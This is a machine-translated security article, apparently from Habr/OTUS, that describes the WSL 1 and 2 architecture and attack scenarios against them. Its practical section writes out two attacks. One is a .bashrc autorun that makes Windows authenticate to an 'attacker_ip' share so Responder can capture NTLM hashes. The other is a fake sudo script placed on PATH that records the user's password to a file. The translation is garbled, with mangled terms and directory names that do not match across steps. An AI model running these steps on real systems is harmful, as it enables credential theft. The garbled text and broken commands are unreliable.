Esperimenti WSL. Parte 1

Ciao, abb! OTUS lancia un novu flussu di corsi in uttrovi "Sicurezza Linux". In anticipazione di l'iniziu di u corsu, spartemu cun voi un articulu scrittu da unu di i nostri prufessori, Alexander Kolesnikov.

Esperimenti WSL. Parte 1

In 2016, Microsoft hà introduttu a nova tecnulugia WSL à a cumunità IT (Wdentru Ssubsistema per Linux), chì in u futuru hà permessu di unisce cuncurrenti precedentemente irreconciliabili chì si battevanu per a popularità trà l'utilizatori di u SO ordinariu è avanzati: Windows è Linux. Sta tecnulugia hà permessu di utilizà l'arnesi OS Linux in un ambiente Windows senza a necessità di eseguisce Linux, per esempiu, usendu Multi-boot. In Habr pudete truvà un gran numaru d'articuli chì descrizanu i benefici di l'usu di WSL. In ogni casu, sfurtunatamenti, à u mumentu di a creazione di stu articulu, ùn anu micca truvatu studii nantu à a sicurità di una tale simbiosi di sistemi operativi nantu à sta risorsa. Questu post serà un tentativu di correggerà questu. L'articulu parlerà di e caratteristiche di l'architetture WSL 1 è 2 è esaminà parechji esempi di attacchi à i sistemi chì utilizanu sti tecnulugia. L'articulu hè divisu in 2 parti. U primu furnisce i principali metudi di attaccu teorichi da Linux è Windows. U secondu articulu implicarà a creazione di un ambiente di prova è riproduce l'attacchi.

WSL 1: caratteristiche architettoniche

Per l'immersione più precisa in i prublemi di sicurezza WSL, hè necessariu di determinà i sfumaturi principali assuciati cù l'implementazione di u sottusistema. Unu di i travaglii principali di l'utilizatori risolti da WSL hè a capacità di travaglià cù un terminal Linux in un host chì funziona Windows OS. Inoltre, a cumpatibilità offerta era cusì nativa chì eseguibili Linux (ELF) puderanu esse eseguiti direttamente in un sistema Windows. Per ghjunghje questi scopi, un subsistema speciale hè statu creatu in Windows 10 chì vi permette di eseguisce l'applicazioni Linux utilizendu un inseme di chjamati di sistema specifichi - cusì, hè statu fattu un tentativu di cartografia un inseme di syscalls Linux in Windows. Questu hè statu implementatu fisicamente aghjunghjendu novi drivers è un novu furmatu di prucessu. Visualmente l'architettura pareva cusì:

Esperimenti WSL. Parte 1

In fatti, l'interazzione cù u sistema operatore Linux hè stata urganizata per mezu di parechji moduli di kernel è un tipu speciale di prucessu - pico. Da u diagramma sopra, pudete vede chì u prucessu in esecuzione nantu à l'istanza Linux nantu à l'ospitu deve esse nativu è deve aduprà e stesse risorse cum'è l'applicazioni Windows regulare. Ma cumu per ottene questu? In prughjettu Ponte levu I cuncetti di prucessu per Windows sò stati sviluppati chì furnianu tutti i cumpunenti necessarii di u sistema operatore (secondu a so versione) per eseguisce una applicazione di un altru OS.

Innota chì l'astrazione pruposta hà permessu di ùn fucalizza micca nantu à u sistema operatore (in particulare, Windows), in quale u prucessu di un altru OS hè previstu di lancià, è suggerisce un approcciu generale.

Cusì, ogni applicazione in u prucessu di pico puderia eseguisce senza rispettu di u kernel di Windows:

  1. I prublemi di cumpatibilità è traduzzione di e chjama di u sistema deve esse risolti da i fornituri speciali;
  2. U cuntrollu di l'accessu deve esse fattu attraversu u Monitor di Sicurezza. U monitoru hè situatu in u kernel è per quessa Windows avia bisognu di un aghjurnamentu in a forma di un novu driver chì puderia agisce cum'è un fornitore per tali prucessi. U prucessu di pico prototipu hè schematicamente presentatu quì sottu:

Esperimenti WSL. Parte 1

Siccomu u sistema di fugliale Linux usa i nomi di schedarii è di repertorii chì sò sensibili à u casu, 2 tipi di sistemi di schedari sò stati aghjuntu à Windows per travaglià cù WSL - VolFS è DriveFS. VolFS hè una implementazione di u sistema di fugliale Linux, DriveFS hè un sistema di fugliale chì travaglia secondu e regule di Windows, ma hà a capacità di selezziunà a sensibilità di casu.

WSL 2

WSL 1 hà avutu una quantità di limitazioni chì ùn permettenu micca esse usatu per risolve u massimu di cumpetenze: per esempiu, ùn hà micca avutu a capacità di eseguisce l'applicazioni Linux 32-bit, è era impussibile di utilizà i driver di u dispositivu. Dunque, in 2020, WSL 2 hè statu liberatu, chì hà cambiatu l'approcciu di custruisce u sottusistema. WSL 2 hè una macchina virtuale ottimizzata chì currisponde à e caratteristiche di cunsumu di risorse di WSL 1. Avà, sicondu i prublemi risolti da l'utilizatori di Windows OS, pudete selezziunate a versione necessaria di u sottosistema Linux. Per mitigà e pussibuli vulnerabili, WSL 2 hè stata implementata basatu annantu à Hyper-V in Windows 10. In questa forma, Windows hà a capacità di eseguisce u kernel di u sistema operatore Linux in isolamentu. Hè vale a pena ricurdà chì a versione 1 di WSL hè statu introduttu cum'è una funzione beta chì duverebbe mustrà a direzzione di u sviluppu di Windows in questa zona, cusì a transizione à Hyper-V era inevitabbile. L'architettura finale s'assumiglia cusì:

Esperimenti WSL. Parte 1

In questa versione, i kernels Windows è Linux anu u so propiu risorse è l'intersezzione esiste solu in u sistema di fugliale, ma sta intersezzione ùn hè micca cumpletu. L'interazzione trà i sistemi di fugliale hè realizatu per mezu di un wrapper client-server chì travaglia cù u protocolu 9P.

Oghje Microsoft furnisce l'abilità di cambià trà WSL 1 è WSL 2. E duie versioni sò dispunibuli per l'usu.

Sicurezza WSL

À u mumentu, ci sò parechje opere chì descrizanu certi approcci à l'usu di l'uttene OS legittimi per attaccà a cumunicazione trà sottosistemi. Avemu aduprà i so scripts per verificà a pertinenza di l'attacchi à u mumentu di a scrittura. Lista generale di attacchi è scenarii:

1. Implementazione di u sistema di schedari: diritti d'accessu, dispunibilità di cartulari spartuti / miccanismi di scambiu di dati.

A ricerca hè stata fatta per determinà e violazioni di e regule d'accessu da Linux FS->Windows FS, Windows FS->Linux FS. A ricerca hà dimustratu a capacità di mudificà un schedariu datu in u SO di destinazione. I tentativi sò stati ancu fatti per rimpiazzà, creà duplicati è sguassà parte di i sistemi di schedari.

Scenariu:

  • A. Attaccu da u sistema operatore Windows - mudificazione di i schedari da u cartulare /etc di u Linux OS.
  • B. Attaccu da u sistema upirativu Linux - mudificazione di i schedari in cartulari: C:Windows, C:Program Files, C:Users<User>

2. Implementazione di a pila di rete.

A ricerca hè stata fatta cù esempi di attacchi da u sistema operatore Linux in Windows. E caratteristiche di a pila di rete sò state aduprate, vale à dì, miccanismi di autentificazione nantu à diverse risorse.

Scenariu:

  • Apertura di l'accessu à un portu chì hè occupatu in un sistema Windows
  • Apertura di un portu senza i diritti apprupriati
  • Esecuzione di shell inversa utilizendu u file elf in u sistema operatore Windows.

3. Oculta u lanciamentu di prucessi di software maliziusi cù u subsistema WSL.

A ricerca hè stata basata nantu à un fattu simplice - i sottosistemi di sicurezza ùn ponu micca intercepte l'avvenimenti in un altru kernel chì travaglia cù un fornitore legittimu da u sistema upirativu in u casu di WSL 1. In u casu di WSL 2, ùn ci hè micca manera di vede l'avvenimenti chì succede. in un kernel separatu in una macchina virtuale ligera.

Scenariu:

1) Lanciate l'applicazione per l'accessu remoto à u sistema è vede l'avvenimenti registrati.

Esperimenti WSL 1: interception hash (Windows)

Finalmente avemu ghjuntu à a parte pratica. Prima, avete bisognu di stabilisce l'ambiente di prova. Tutti l'esperimenti seranu realizati nantu à un bancu cù Windows 10 2004 installatu. L'imagine Ubuntu 18.04 hè stata scelta cum'è l'imagine di u sistema operatore per WSL. L'imaghjina hè stata scelta à l'aleatoriu, è qualsiasi altru travaglià u listessu. Comandamenti per a stallazione di un stand:

Duvete prima lancià powershell.exe cum'è amministratore.

Per WSL 1 avete bisognu di eseguisce i cumandamenti:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Dopu avè riavviatu u stand, pudete chjamà u cumandamentu bash. Se tuttu hà travagliatu bè, vi vede un output simile à questu in a cunsola Windows:

    Esperimenti WSL. Parte 1

    Adupremu a distribuzione Kali Linux cum'è a macchina di l'attaccante; tutte e macchine devenu esse nantu à a stessa rete locale.

    Assumimu chì avemu un accessu senza privilegiu à WSL in una macchina Windows. Pruvemu di attaccà u sistema operatore Linux chjamendu un cumandamentu da Linux. Per implementà l'attaccu, useremu una tecnica simplice di autorun - aghjunghje u nostru script per l'esekzione in l'ambiente Linux. Per fà questu, avete bisognu di cambià u schedariu .bashrc.

    In una macchina cù WSL eseguimu:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    In una macchina Kali Linux eseguiamo:

    1. Responder -I eth0 -rdvw

    In una macchina Windows, lanciamu bash.

    Aspittemu u risultatu nantu à a macchina Kali Linux:

    Esperimenti WSL. Parte 1

    Cusì, avemu ottenutu l'hash di l'utilizatori di Windows attraversu u sottosistema WSL eseguendu u cumandamentu in u sistema Linux.

    Esperimenti WSL 1: ottene password d'utilizatore (Linux OS)

    Facemu un altru esperimentu. Duranti stu cuntrollu avemu da aghjunghje à u schedariu .bashrc parechji cumandamenti per ottene a password di l'utilizatore di u sistema operatore Linux.

    Lanciamu bash è inserite i cumandamenti:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Per finisce l'attaccu cù successu, l'utilizatore Sam hà bisognu di chjamà sudo in u terminal Linux. Dopu questu, a password di l'utilizatore di u OS Linux serà in u schedariu pass.txt:

    Esperimenti WSL. Parte 1

    L'implementazione di l'attacchi hè stata data solu per l'infurmazioni teorichi.

    A prossima parte di l'articulu descriverà l'implementazione di u protokollu 9P, cunzidira a creazione di un scanner per stu protokollu, è ancu eseguisce un attaccu utilizendu.

    Elencu di literatura usata

    Esperimenti WSL. Parte 1

    Leghjite più

    Source: www.habr.com

    Add a comment